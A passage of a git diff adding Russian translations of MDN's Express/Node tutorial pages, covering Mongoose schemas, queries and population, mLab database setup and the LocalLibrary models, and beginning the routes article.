хранятся в MongoDB. Методы "геттеры" полезны для форматирования и соединения полей, а "сеттеры" применяют для декомпозиции отдельных значений на несколько частей перед сохранением в БД. Пример из документации собирает (и разбирает) виртуальное свойство "полное имя" из полей "имя" и "фамилия", что удобнее, чем конструировать полное имя каждый раз, когда оно используется в шаблоне.</p> + +<div class="note"> +<p><strong>Замечание:</strong> В библиотеке виртуальное свойство будет применено для определения уникального URL каждой записи в модели по пути и по значению <code>_id</code> записи.</p> +</div> + +<p>Подробная информация - в разделе <a href="http://mongoosejs.com/docs/guide.html#virtuals">Virtuals</a> (документация Mongoose).</p> + +<h4 id="Методы_и_помощники_запросов">Методы и помощники запросов</h4> + +<p>В схеме можно также задать методы экземпляра (<a href="http://mongoosejs.com/docs/guide.html#methods">instance methods</a>), статические (<a href="http://mongoosejs.com/docs/guide.html#statics">static</a>) методы и <a href="http://mongoosejs.com/docs/guide.html#query-helpers">помощники запросов</a>. Статические методы и методы экземпляра аналогичны, но различаются тем, что методы экземпляра связаны с конкретной записью и имеют доступ к текущему объекту. Помощники запросов позволяют расширить <a href="http://mongoosejs.com/docs/queries.html"> API построителя цепочек запросов</a> (например, можно добавить запрос "byName" ("по имени") в дополнение к методам <code>find()</code>, <code>findOne()</code> и <code>findById()</code>).</p> + +<h3 id="Применение_моделей">Применение моделей</h3> + +<p>Подготовленную схему можно использовать для создания моделей. Модель представляет коллекцию документов в базе данных, в которой можно выполнять поиск, тогда как экземпляры модели представляют отдельные документы, которые можно сохранять и извлекать.</p> + +<p>Ниже предлагается краткий обзор. Более подробно смотрите в <a href="http://mongoosejs.com/docs/models.html">Models</a> (документация Mongoose).</p> + +<h4 id="Создание_и_изменение_документов">Создание и изменение документов</h4> + +<p>Чтобы создать запись, следует определить экземпляр модели и вызвать метод <code>save()</code>. В примере ниже SomeModel -- это модель с единственным полем "name", которую мы создадим из нашей схемы.</p> + +<pre class="brush: js"><code>// Создать экземпляр модели SomeModel +var awesome_instance = new </code>SomeModel<code>({ name: 'awesome' }); + +// Сохранить новый экземпляр, передав callback +awesome_instance.save(function (err) { + if (err) return handleError(err); + // сохранили! +}); +</code></pre> + +<p>Создание записей (а также обновления, удаления и запросы) - это асинхронные операции, поэтому следует предусмотреть callback-функцию, которая будет вызвана при завершении операции. В API используется соглашение о первом аргументе, согласно которому первый аргумент callback-функции должен быть значением ошибки (или null). Если API возвращает некоторый результат, он должен быть вторым аргументом.</p> + +<p>Можно использовать метод <code>create()</code> для создании экземпляра модели при его сохранении. Тогда callback-функция вернет ошибку (или null) как первый аргумент и только что созданный экземпляр как второй аргумент.</p> + +<pre class="brush: js">SomeModel<code>.create({ name: 'also_awesome' }, function (err, awesome_instance) { + if (err) return handleError(err); + // сохранили! +});</code></pre> + +<p>Каждая модель ассоциирована с соединением (с соединением по умолчанию, если используется <code>mongoose.model()</code>). Следует создать новое соединение и вызвать для него <code>.model()</code>, чтобы создать документ в другой базе данных.</p> + +<p>Поля в новой записи могут быть получены и изменены с применением dot (точка)-синтаксиса. Для сохранения изменений служат методы <code>save()</code> и <code>update()</code>.</p> + +<pre class="brush: js">// Доступ к полям модели в dot-нотации +console.log(<code>awesome_instance.name</code>); //вывод в консоль '<code>also_awesome</code>' + +// Изменить запись, модифицируя поля, потом вызвать save(). +<code>awesome_instance</code>.name="New cool name"; +<code>awesome_instance.save(function (err) { + if (err) return handleError(err); // сохранили! + });</code> +</pre> + +<h4 id="Поиск_записей">Поиск записей</h4> + +<p>При поиске записей методами запросов, условия поиска следует задавать как документ JSON. Приведенный фрагмент кода (ниже) показывает, как в БД найти имена (<em>name</em>) и возраст (<em>age</em>) всех спортсменов-теннисистов. Соответствие будет определяться по одному полю (sport), но можно добавить критерии поиска, задав, например, регулярное выражение, или удалить все критерии, чтобы получить список всех спортсменов.</p> + +<pre class="brush: js"><code>var Athlete = mongoose.model('Athlete', yourSchema); + +// найти всех теннисистов, выбирать поля 'name' и 'age' +Athlete.find({ 'sport': 'Tennis' }, 'name age', function (err, athletes) { + if (err) return handleError(err); + // 'athletes' содержит список спортсменов, соответствующих критерию. +})</code></pre> + +<p>Если задать callback-функцию так, как показано выше, запрос будет выполнен немедленно. Однако callback-функция будет вызвана только после завершения поиска.</p> + +<div class="note"> +<p><strong>Заметка:</strong> Все callbacks-функции в Mongoose используют образец <code>callback(error, result)</code>. Если при выполнении запроса возникает ошибка, параметр <code>error</code> будет содержать объект error, а <code>result</code> будет null. При успешном запросе параметр <code>error</code> будет null, а <code>result</code> будет содержать результат запроса.</p> +</div> + +<p>Если не задать callback-функцию, API вернет переменную типа <a href="http://mongoosejs.com/docs/api.html#query-js">Query</a>. Можно использовать объект запроса, чтобы создать и выполнить свой запрос (с callback-функцией) позже, при помощи метода <code>exec()</code>.</p> + +<pre class="brush: js"><code>// найти всех теннисистов +var query = Athlete.find({ 'sport': 'Tennis' }); + +// выбрать поля 'name' и 'age' +query.select('name age'); + +// ограничить результат 5 элементами +query.limit(5); + +// сортировать по возрасту +query.sort({ age: -1 }); + +// выполнить запрос позже +query.exec(function (err, athletes) { + if (err) return handleError(err); + // athletes содержит упорядоченный список из 5 теннисистов +})</code></pre> + +<p>Выше условия поиска были заданы в методе <code>find()</code>. Можно также использовать функцию <code>where()</code>, кроме того, можно соединить все части в одном запросе применением оператора dot (.) вместо того, чтобы выполнять их раздельно. Фрагмент кода (см. ниже) выполняет тот же запрос, что и предыдущий фрагмент, но с дополнительным условием для возраста. </p> + +<pre><code>Athlete. + find(). + where('sport').equals('Tennis'). + where('age').gt(17).lt(50). //Дополнительное условие + limit(5). + sort({ age: -1 }). + select('name age'). + exec(callback); // callback - имя нашей callback-функции.</code></pre> + +<p>Метод <a href="http://mongoosejs.com/docs/api.html#query_Query-find">find()</a> находит все записи, удовлетворяющие условию, но часто требуется найти только одну из таких записей. Вот методы для поиска одной записи:</p> + +<ul> + <li><code><a href="http://mongoosejs.com/docs/api.html#model_Model.findById">findById()</a></code>: Находит документ по заданному идентификатору <code>id</code> (каждый документ имеет уникальный идентификатор <code>id</code>).</li> + <li><code><a href="http://mongoosejs.com/docs/api.html#query_Query-findOne">findOne()</a></code>: Находит один документ, удовлетворяющий заданному критерию.</li> + <li><code><a href="http://mongoosejs.com/docs/api.html#model_Model.findByIdAndRemove">findByIdAndRemove()</a></code>, <code><a href="http://mongoosejs.com/docs/api.html#model_Model.findByIdAndUpdate">findByIdAndUpdate()</a></code>, <code><a href="http://mongoosejs.com/docs/api.html#query_Query-findOneAndRemove">findOneAndRemove()</a></code>, <code><a href="http://mongoosejs.com/docs/api.html#query_Query-findOneAndUpdate">findOneAndUpdate()</a></code>: Находит один документ по <code>id</code> или по критерию, а затем или обновляет, или удаляет его. Эти методы весьма полезны для обновления или удаления записей.</li> +</ul> + +<div class="note"> +<p><strong>Заметка:</strong> Есть также метод <code><a href="http://mongoosejs.com/docs/api.html#model_Model.count">count()</a></code>, который определяет количество записей, соответствующих условию. Он полезен при выполнении подсчетов без фактического извлечения записей.</p> +</div> + +<p>Запросы полезны и во многих других случаях. Дополнительная информация - в <a href="http://mongoosejs.com/docs/queries.html">Queries</a> (документация Mongoose).</p> + +<h4 id="Работа_со_связанными_документами_—_загрузка">Работа со связанными документами — загрузка</h4> + +<p>Один документ (экземпляр модели) может ссылаться на другой документ при помощи поля <code>ObjectId</code> схемы, или на много других документов, используя массив идентификаторов <code>ObjectIds</code>. Идентификатор соответствующей модели хранится в поле. При необходимости получить действительное содержимое связанного документа, следует использовать в запросе метод <code><a href="http://mongoosejs.com/docs/api.html#query_Query-populate">populate()</a></code>, который заменит идентификатор в запросе действительными данными.</p> + +<p>Например, в следующей схеме определены авторы и рассказы. У каждого автора может быть несколько рассказов, которые представим массивом ссылок of <code>ObjectId</code>. У каждого рассказа может быть только один автор. Ссылка "ref" (выделена жирным) указывает в схеме, какая модель должна быть связана с этим полем.</p> + +<pre class="brush: js"><code>var mongoose = require('mongoose') + , Schema = mongoose.Schema + +var authorSchema = Schema({ + name : String, + stories : [{ type: Schema.Types.ObjectId, <strong>ref</strong>: 'Story' }] +}); + +var storySchema = Schema({ + author : { type: Schema.Types.ObjectId, <strong>ref</strong>: 'Author' }, + title : String +}); + +var Story = mongoose.model('Story', storySchema); +var Author = mongoose.model('Author', authorSchema);</code></pre> + +<p>Можно сохранить ссылки в связанном документе, используя значение идентификатора <code>_id</code>. Ниже создается автор, затем рассказ, и значение идентификатора id автора сохраняется в поле "author" рассказа.</p> + +<pre class="brush: js"><code>var bob = new Author({ name: 'Bob Smith' }); + +bob.save(function (err) { + if (err) return handleError(err); + + //автор Bob создан, создаем рассказ + var story = new Story({ + title: "Bob goes sledding", + author: bob._id // присваиваем полю значение идентификатора Боба. Идентификатор создается по умолчанию! + }); + + story.save(function (err) { + if (err) return handleError(err); + // У Боба теперь есть рассказ! + }); +});</code></pre> + +<p>Теперь документ "story" ссылается на автора по идентификатору документа "author". Для получения информации об авторе применяется метод <code>populate()</code> (показано ниже).</p> + +<pre class="brush: js"><code>Story +.findOne({ title: 'Bob goes sledding' }) +.populate('author') //подменяет идентификатор автора информацией об авторе! +.exec(function (err, story) { + if (err) return handleError(err); + console.log('The author is %s', story.author.name); + // выводит "The author is Bob Smith" +});</code></pre> + +<div class="note"> +<p><strong>Заметка:</strong> Внимательные читатели заметили, что автор добавлен к рассказу, но ничего не сделано, чтобы добавить рассказ к массиву рассказов <code>stories</code> автора. Как же тогда получить список всех рассказов конкретного автора? Один из возможных вариантов - добавить автора в массив рассказов, но при этом пришлось бы хранить данные об авторах и рассказах в двух местах и поддерживать их актуальность.</p> + +<p>Лучше получить <code>_id</code> нашего автора <em>author</em>, и применить <code>find()</code> для поиска этого идентификатора в поле "author" всех рассказов.</p> + +<pre class="brush: js"><code>Story +.find({ author : bob._id }) +.exec(function (err, stories) { + if (err) return handleError(err); + // возвращает все рассказы, у которых идентификатор Боба. +});</code> +</pre> +</div> + +<p>Это почти все, что следует знать для работы со связанными данными <em>в нашем руководстве</em>. Более полную информацию можно найти в <a href="http://mongoosejs.com/docs/populate.html">Population</a> (документация Mongoose).</p> + +<h3 id="Одна_схема_(модель)_-_один_файл">Одна схема (модель) - один файл</h3> + +<p>Можно использовать любую структуру файлов при создании схем и моделей, однако мы настоятельно рекомендуем определять каждую схему модели в отдельном модуле (файле), экспортируя метод для создания модели. Пример приведен ниже:</p> + +<pre class="brush: js"><code>// Файл: ./models/somemodel.js + +//Требуется Mongoose +var mongoose = require('mongoose'); + +//Определяем схему +var Schema = mongoose.Schema; + +var SomeModelSchema = new Schema({ + a_string : String, + a_date : Date, +}); + +<strong>//экспортируется функция для содания класса модели "SomeModel" +module.exports = mongoose.model('SomeModel', SomeModelSchema );</strong></code></pre> + +<p>You can then require and use the model immediately in other files. Below we show how you might use it to get all instances of the model.</p> + +<pre class="brush: js"><code>//Создаем модель SomeModel просто вызовом модуля из файла +var SomeModel = require('../models/somemodel') + +// Используем объект SomeModel (модель) для поиска всех записей в SomeModel +SomeModel.find(callback_function);</code></pre> + +<h2 id="Установка_базы_данных_MongoDB">Установка базы данных MongoDB</h2> + +<p>Мы уже немного понимаем, что может делать Mongoose и как следует проектировать модели. Теперь самое время начать работу над сайтом <em>LocalLibrary</em>. Самое первое, что мы должны сделать - установить базу данных MongoDb, в которой будут храниться данные нашей библиотеки.</p> + +<p>В этом руководстве мы будем использовать базу данных в "песочнице" ("<a href="https://mlab.com/plans/pricing/">sandbox</a>") - бесплатный облачный сервис, предоставляемый <a href="https://mlab.com/welcome/">mLab</a>. Такая база не очень подходит для промышленных вебсайтов, поскольку не имеет избыточности, но она очень удобна для разработки и прототипирования. Мы используем ее, так как она бесплатна, ее легко установить, и потому что mLab - популярный поставщик <em>базы данных как сервиса, </em>и это может быть разумным выбором для промышленной базы данных (на данный момент другие известные возможности включают <a href="https://www.compose.com/">Compose</a>, <a href="https://scalegrid.io/pricing.html">ScaleGrid</a> и <a href="https://www.mongodb.com/cloud/atlas">MongoDB Atlas</a>).</p> + +<div class="note"> +<p><strong>Заметка:</strong> При желании можно установить БД MongoDb локально, загрузив и установив <a href="https://www.mongodb.com/download-center">подходящие для вашей системы двоичные файлы</a>. В этом случае приводимые ниже инструкции не изменятся, за исключением URL базы данных, который нужно будет задать для установки соединения.</p> +</div> + +<p>Первым делом надо <a href="https://mlab.com/signup/">создать аккаунт</a> на mLab (это бесплатно, требует только основных контактных данных и ознакомления с условиями обслуживания). </p> + +<p>После входа в систему вы увидите главную страницу <a href="https://mlab.com/home">home</a>:</p> + +<ol> + <li>Щелкните <strong>Create New</strong> в разделе <em>MongoDB Deployments</em> для создания новой БД.<img alt="" src="https://mdn.mozillademos.org/files/14446/mLabCreateNewDeployment.png" style="height: 415px; width: 1000px;"></li> + <li>Откроется экран <em>Cloud Provider Selection - раздела провайдера облака</em>.<br> + <img alt="MLab - screen for new deployment" src="https://mdn.mozillademos.org/files/15661/mLab_new_deployment_form_v2.png" style="height: 931px; width: 1297px;"><br> + + <ul> + <li>Выберите план SANDBOX (Free) из раздела Plan Type (тип плана). </li> + <li>Выберите любого провайдера в разделе <em>Cloud Provider (провайдер облака)</em>. Разные провайдеры обслуживают разные регионы (показаны под выбранным типом плана).</li> + <li>Щелкните кнопку <strong>Continue</strong>.</li> + </ul> + </li> + <li>Откроется экран выбора региона <em>Select Region</em>. + <p><img alt="Select new region screen" src="https://mdn.mozillademos.org/files/15662/mLab_new_deployment_select_region_v2.png" style="height: 570px; width: 1293px;"></p> + + <ul> + <li> + <p>Выберите ближайщий к Вам регион и щелкните кнопку <strong>Continue</strong>.</p> + </li> + </ul> + </li> + <li> + <p>Откроется экран <em>Final Details </em>для ввода названия БД.</p> + + <ul> + <li> + <p>Введите имя новой базы - <code>local_library</code> и нажмите <strong>Continue</strong>.</p> + </li> + </ul> + </li> + <li> + <p>Откроется экран подтверждения заказа <em>Order Confirmation</em>.<br> + <img alt="Order confirmation screen" src="https://mdn.mozillademos.org/files/15664/mLab_new_deployment_order_confirmation.png" style="height: 687px; width: 1290px;"></p> + + <ul> + <li> + <p>Щелкните <strong>Submit Order</strong> (подтвердить заказ), чтобы создать БД.</p> + </li> + </ul> + </li> + <li> + <p>Вы вернетесь на главный (home) экран. Щелкните по вновь созданной базе, чтобы открыть экран с детальной информацией. Как видно, в БД нет коллекций (данных).<br> + <img alt="mLab - Database details screen" src="https://mdn.mozillademos.org/files/15665/mLab_new_deployment_database_details.png" style="height: 700px; width: 1398px;"><br> + <br> + На форме выше обведен URL для соединения с вашей БДthat you need to use to access your database is displayed on the form above (shown for this database circled above). Чтобы его использовать, необходимо создать пользователя БД, который позже введет этот URL.</p> + </li> + <li>Щелкните по вкладке <strong>Users</strong> и выберите кнопку <strong>Add database user </strong>(добавить пользователя БД).</li> + <li>Введите имя пользователя и пароль (дважды), затем нажмите <strong>Create </strong>(создать). Не отмечайте <em>Make read only </em>(только для чтения)!<br> + <img alt="" src="https://mdn.mozillademos.org/files/14454/mLab_database_users.png" style="height: 204px; width: 600px;"></li> +</ol> + +<p>Теперь БД создана, и для доступа к ней есть URL, имя пользователя и пароль. Это должно выглядеть примерно так: <code>mongodb://your_user_namer:your_password@ds119748.mlab.com:19748/local_library</code>.</p> + +<h2 id="Установка_Mongoose">Установка Mongoose</h2> + +<p>Откройте окно команд и перейдите в каталог, в котором создан <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">каркас вебсайта Local Library</a>. Введите команду install, чтобы установить Mongoose (и ее зависимости), а также добавьте ее в файл <strong>package.json</strong>, если вы еще не сделали этого ранее, при чтении примера <a href="#Installing_Mongoose_and_MongoDB">Mongoose Primer</a>.</p> + +<pre class="brush: bash">npm install mongoose +</pre> + +<h2 id="Подключение_к_MongoDB">Подключение к MongoDB</h2> + +<p>Откройте <strong>/app.js</strong> (в корне проекта) и скопируйте приведенный ниже текст, в котором объявляется <em>объект приложения</em> <em>Express</em> (после строки <code>var app = express();</code>). Замените строку url БД ('<em>insert_your_database_url_here</em>') тем URL, который представляет вашу БД (т.е. используйте информацию, полученную от<a href="#Setting_up_the_MongoDB_database"> mLab</a>).</p> + +<pre class="brush: js">//Устанавливаем соединение с mongoose +var mongoose = require('mongoose'); +var mongoDB = '<em>insert_your_database_url_here</em>';//замените url!!! +mongoose.connect(mongoDB); +mongoose.Promise = global.Promise; +var db = mongoose.connection; +db.on('error', console.error.bind(console, 'MongoDB connection error:'));</pre> + +<p>Как указано ранее в примере <a href="#Connecting_to_MongoDB">Mongoose primer</a>, этот код задает соединение по умолчанию с привязкой события ошибки error (так что ошибки будут выведены в консоль). </p> + +<h2 id="Определение_схемы_LocalLibrary">Определение схемы LocalLibrary</h2> + +<p>Мы определим отдельный модуль для каждой модели как уже обсуждалось <a href="#One_schemamodel_per_file">выше</a>. Начнем с создания каталога для моделей в корне проекта (<strong>/models</strong>), после чего создадим отдельные файлы для кажой модели:</p> + +<pre>/express-locallibrary-tutorial //the project root + <strong>/models</strong> + <strong>author.js</strong> + <strong>book.js</strong> + <strong>bookinstance.js</strong> + <strong>genre.js</strong> +</pre> + +<h3 id="Модель_автора_Author">Модель автора Author</h3> + +<p>Скопируйте код схемы автора <code>Author</code> (приведен ниже) в файл <strong>./models/author.js</strong> . В схеме определено, что у автора есть обязательные поля имени и фамилии типа <code>String</code> длиной не более 100 символов, и поля типа <code>Date</code> дата рождения и дата смерти.</p> + +<pre class="brush: js">var mongoose = require('mongoose'); + +var Schema = mongoose.Schema; + +var AuthorSchema = new Schema( + { + first_name: {type: String, required: true, max: 100}, + family_name: {type: String, required: true, max: 100}, + date_of_birth: {type: Date}, + date_of_death: {type: Date}, + } +); + +<strong>// Виртуальное свойство для полного имени автора +AuthorSchema +.virtual('name') +.get(function () { + return this.family_name + ', ' + this.first_name; +});</strong> + +// Виртуальное свойство - URL автора +AuthorSchema +.virtual('url') +.get(function () { + return '/catalog/author/' + this._id; +}); + +//Export model +module.exports = mongoose.model('Author', AuthorSchema); + +</pre> + +<p>Мы объявим также в схеме AuthorSchema <a href="#Virtual_properties">виртуальное</a> свойство "url" , которое позволит получить абсолютный URL конкретного экземпляра модели — используем это свойство в шаблонах, если потребуется получить связь с конкретным автором.</p> + +<div class="note"> +<p><strong>Заметка:</strong> Объявить в схеме URL как виртуальные свойства - хорошая идея, т.к. URL отдельного элемента при необходимости изменения требует коррекции только в одном месте.<br> + Сейчас связь при помощи этого URL еще не работает, так как у нас еще нет кода, поддерживающего маршруты для экземпляров модели. Мы построим его в следующей статье!</p> +</div> + +<p>В конце модуля экспортируется модель.</p> + +<h3 id="Модель_книги_Book">Модель книги Book</h3> + +<p>Скопируйте код схемы <code>Book</code> (приведен ниже) в файл <strong>./models/book.js</strong>. Большая часть кода подобна коду для модели автора — объявляется схема с рядом строковых полей, с виртуальным свойством URL для получения URL конкретных книг, затем модель экспортируется.</p> + +<pre class="brush: js">var mongoose = require('mongoose'); + +var Schema = mongoose.Schema; + +var BookSchema = new Schema( + { + title: {type: String, required: true}, + <strong> author: {type: Schema.ObjectId, ref: 'Author', required: true},</strong> + summary: {type: String, required: true}, + isbn: {type: String, required: true}, + <strong> genre: [{type: Schema.ObjectId, ref: 'Genre'}]</strong> + } +); + +// Virtual for book's URL +BookSchema +.virtual('url') +.get(function () { + return '/catalog/book/' + this._id; +}); + +//Export model +module.exports = mongoose.model('Book', BookSchema); +</pre> + +<p>Основное отличие в том, что созданы две ссылки на другие модели:</p> + +<ul> + <li>author - это ссылка на единственный объект модели <code>Author</code> , обязательный элемент.</li> + <li>genre (жанр) - ссылка на массив объектов модели <code>Genre</code>. Эта модель еще не объявлена!</li> +</ul> + +<h3 id="Модель_экземпляра_книги_BookInstance">Модель экземпляра книги BookInstance</h3> + +<p>Наконец, скопируйте код схемы <code>BookInstance</code> (приведен ниже) в файл <strong>./models/bookinstance.js</strong>. Схема <code>BookInstance</code> представляет конкретный экземпляр книги, которую можно одолжить на время, и содержит информацию о доступности экземпляров книги, о дате возврата одолженной книги, о деталях версии или печатного экземпляра.</p> + +<pre class="brush: js">var mongoose = require('mongoose'); + +var Schema = mongoose.Schema; + +var BookInstanceSchema = new Schema( + { + book: { type: Schema.ObjectId, ref: 'Book', required: true }, //ссылка на книгу + imprint: {type: String, required: true}, + status: {type: String, required: true, <strong>enum: ['Available', 'Maintenance', 'Loaned', 'Reserved']</strong>, <strong>default: 'Maintenance'</strong>}, + due_back: {type: Date, <strong>default: Date.now</strong>} + } +); + +// Virtual for bookinstance's URL +BookInstanceSchema +.virtual('url') +.get(function () { + return '/catalog/bookinstance/' + this._id; +}); + +//Export model +module.exports = mongoose.model('BookInstance', BookInstanceSchema);</pre> + +<p>В этой схеме новыми являются опции поля:</p> + +<ul> + <li><code>enum</code>: Позволяет указать допустимые значения строки. В нашем случае используются, чтобы задать статус доступности книги (применение enum (перечисления) означает, что мы ходим предотвратить ошибочное написание и произвольные значения статуса)</li> + <li><code>default</code>: определяет значание статуса по умолчанию (maintenance) при создании экземпляра книги, и дату <code>due_back </code>возврата книги (<code>now,</code> сейчас). Отметьте, как используется функция Date при установке даты!</li> +</ul> + +<p>Все остальное знакомо по предыдущим схемам.</p> + +<h3 id="Модель_жанра_Genre_-_проверьте_себя!">Модель жанра Genre - проверьте себя!</h3> + +<p>Откройте файл <strong>./models/genre.js</strong> и создайте схему для хранения жанра (категории книги, т.е. художественная или научная, романтика или военная история и т.д.).</p> + +<p>Определение будет подобно другим моделям:</p> + +<ul> + <li>В модели должно быть поле <code>name</code> типа <code>String</code> для указания жанра.</li> + <li>Это поле должно быть обязательным, допустимый размер - от 3 до 100 символов.</li> + <li>Объявите виртуальное (<a href="#Virtual_properties">virtual</a>) свойство с именем <code>url</code> для URL жанра.</li> + <li>Экспортируйте модель.</li> +</ul> + +<h2 id="Тестирование_—_создаем_элементы_БД">Тестирование — создаем элементы БД</h2> + +<p>Вот так. У нас теперь есть все модели для создания сайта!</p> + +<p>Для тестирования моделей (и для создания примеров книг и других элементов, которые потребуются в следующих статьях) выполним <em>независимый </em>скрипт, который создаст элементы каждого типа:</p> + +<ol> + <li>Загрузите (или создайте) файл <a href="https://raw.githubusercontent.com/hamishwillee/express-locallibrary-tutorial/master/populatedb.js">populatedb.js</a> в каталоге <em>express-locallibrary-tutorial</em> (на том же уровне, что и <code>package.json</code>). + + <div class="note"> + <p><strong>Заметка:</strong> Не обязательно понимать, как работает <a href="https://raw.githubusercontent.com/hamishwillee/express-locallibrary-tutorial/master/populatedb.js">populatedb.js</a>; он просто помещает некоторые данные в базу данных.</p> + </div> + </li> + <li>Введите в корне проекта команду для установки модуля <em>async, </em>который потребуется скрипту populatedb.js (роль async обсудим в следующих руководствах) + <pre class="brush: bash">npm install async</pre> + </li> + <li>Запустите скрипт из командной строки, используя node. В качестве параметра укажите URL вашей БД <em>MongoDB</em> (тот самый, которым вы ранее заменили <em>insert_your_database_url_here </em>в<em> </em>файле <code>app.js</code> ): + <pre class="brush: bash">node populatedb <your mongodb url></pre> + </li> + <li>Скрипт должен выполниться до конца, выводя в терминал создаваемые элементы.</li> +</ol> + +<div class="note"> +<p><strong>Совет:</strong> Откройте свою базу на <a href="https://mlab.com/home">Lab</a>. Вы сможете увидеть коллекции Book, Author, Genre, BookInstance (книги, авторы, жанры, экземпляры книг) и просмотреть содержащиеся в них документы.</p> +</div> + +<h2 id="Итог">Итог</h2> + +<p>В этой статье мы познакомились с БД и ОРМ (объектно-реляционными моделями) в системе Node/Express, узнали, как определяются схемы и модели Mongoose. Мы применили эти знания при проектировании и реализации моделей <code>Book</code>, <code>BookInstance</code>, <code>Author</code> и <code>Genre</code> для вебсайта <em>LocalLibrary</em>.</p> + +<p>В конце мы испытали свои модели путем создания ряда элементов (при помощи автономного скрипта). В следующей статье мы рассмотрим создание страниц, на которых будут показаны эти элементы.</p> + +<h2 id="Смотрите_также">Смотрите также</h2> + +<ul> + <li><a href="https://expressjs.com/en/guide/database-integration.html">Database integration</a> Интеграция БД (документация Express)</li> + <li><a href="http://mongoosejs.com/">Mongoose website</a> Вебсайт Mongoose (документация Mongoose)</li> + <li><a href="http://mongoosejs.com/docs/guide.html">Mongoose Guide</a> Справочник Mongoose (документация Mongoose)</li> + <li><a href="http://mongoosejs.com/docs/validation.html">Validation</a> Валидация (документация Mongoose)</li> + <li><a href="http://mongoosejs.com/docs/schematypes.html">Schema Types</a> Типы в схемах (документация Mongoose)</li> + <li><a href="http://mongoosejs.com/docs/models.html">Models</a> Модели (документация Mongoose)</li> + <li><a href="http://mongoosejs.com/docs/queries.html">Queries</a> Запросы (документация Mongoose)</li> + <li><a href="http://mongoosejs.com/docs/populate.html">Population</a> Пополнение БД (документация Mongoose)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/skeleton_website", "Learn/Server-side/Express_Nodejs/routes", "Learn/Server-side/Express_Nodejs")}}</p> + +<p> </p> + +<h2 id="In_this_module">In this module</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node introduction</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Setting up a Node (Express) development environment</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express Tutorial: The Local Library website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express Tutorial Part 2: Creating a skeleton website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Express Tutorial Part 3: Using a Database (with Mongoose)</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/routes">Express Tutorial Part 4: Routes and controllers</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms">Express Tutorial Part 6: Working with forms</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment">Express Tutorial Part 7: Deploying to production</a></li> +</ul> + +<p> </p> diff --git a/files/ru/learn/server-side/express_nodejs/routes/index.html b/files/ru/learn/server-side/express_nodejs/routes/index.html new file mode 100644 index 0000000000..c8610eba1b --- /dev/null +++ b/files/ru/learn/server-side/express_nodejs/routes/index.html @@ -0,0 +1,655 @@ +--- +title: 'Учебник Express часть 4: Маршруты и контроллеры' +slug: Learn/Server-side/Express_Nodejs/routes +translation_of: Learn/Server-side/Express_Nodejs/routes +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/mongoose", "Learn/Server-side/Express_Nodejs/Displaying_data", "Learn/Server-side/Express_Nodejs")}}</div> + +<p class="summary">В этом уроке мы настроим маршруты (код обработки URL) с "фиктивными" функциями-обработчиками для всех конечных точек ресурса, которые нам понадобятся на веб-сайте <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">LocalLibrary</a>. По завершении мы получим модульную структуру для нашего кода обработки маршрута, который будет расширен реальными функциями-обработчиками в следующих статьях. У нас также будет хорошее понимание того, как создавать модульные маршруты с помощью Express!</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row"> + <table> + <tbody> + <tr> + <th scope="row">Предварительные знания:</th> + </tr> + </tbody> + </table> + </th> + <td>Прочесть <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction">введение в Express/Node </a>. Завершить предыдущие уроки (включая <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Express Tutorial Part 3: Using a Database (with Mongoose)</a>).</td> + </tr> + <tr> + <th scope="row">Цель:</th> + <td>Понять, как создать простые маршруты. Настроить конечные точки URL.</td> + </tr> + </tbody> +</table> + +<h2 id="Обзор">Обзор</h2> + +<p>В <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">последней статье </a>мы определили модели <em>Mongoose</em> для взаимодействия с базой данных, и использовали (автономный) скрипт, который создал некоторые исходные записи библиотеки. Теперь можно написать код, чтобы представить эту информацию пользователям. Первое, что нужно сделать, это решить, какие возможности для отображения информации мы хотим иметь на наших страницах, а затем определить соответствующие URL-адреса для получения этих ресурсов. Затем нужно будет создать маршруты (обработчики URL-адресов) и представления (шаблоны) для отображения этих страниц.</p> + +<p>Приведенная ниже диаграмма напоминает об основном потоке данных и об элементах, которые необходимо реализовать при обработке HTTP-запроса/ответа. Кроме представлений и маршрутов на диаграмме показаны "контроллеры" - функции, которые отделяют код для маршрутизации запросов от кода, который фактически обрабатывает запросы.</p> + +<p>Поскольку модели уже созданы, основные элементы, которые следует создать, таковы:</p> + +<ul> + <li>"Маршруты" для перенаправления поддерживаемых запросов (и любой закодированной информации в URL-запросах) соответствующим функциям контроллера.</li> + <li>Контроллеры -функции для получения запрашиваемых данных из моделей, создание HTML страницы, отображающей данные, и возращение их пользователю для просмотра в браузере.</li> + <li>Представления (шаблоны), используемые контроллерами для отрисовки данных.</li> +</ul> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14456/MVC%20Express.png" style="height: 460px; width: 800px;"></p> + +<p>В итоге, у нас должны быть страницы для вывода списков и детальной информации по книгам, жанрам, авторам и экземплярам книг, а также страницы для создания, обновления и удаления записей. Это много для одной статьи. Поэтому большая часть этой статьи будет сосредоточена на настройке наших маршрутов и контроллеров для возврата "фиктивного" контента. Мы расширим методы контроллеров для работы с данными модели в следующих статьях .</p> + +<p>В первом разделе ниже приведен краткие основы того, как использовать промежуточное средство (middleware) Express <a href="http://expressjs.com/en/4x/api.html#router">Router</a>. Эти знания будут использованы в следующих разделах при настройке маршрутов для LocalLibrary.</p> + +<h2 id="Маршруты_-_основы">Маршруты - основы</h2> + +<p>Маршруты - это часть 